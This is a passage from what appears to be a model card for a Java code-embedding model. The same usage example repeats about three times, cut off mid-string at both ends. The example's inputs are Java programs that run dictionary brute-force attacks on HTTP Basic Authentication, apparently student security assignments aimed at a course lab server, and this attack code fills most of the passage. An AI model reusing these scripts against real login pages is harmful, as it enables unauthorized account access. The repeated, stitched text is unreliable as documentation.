4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 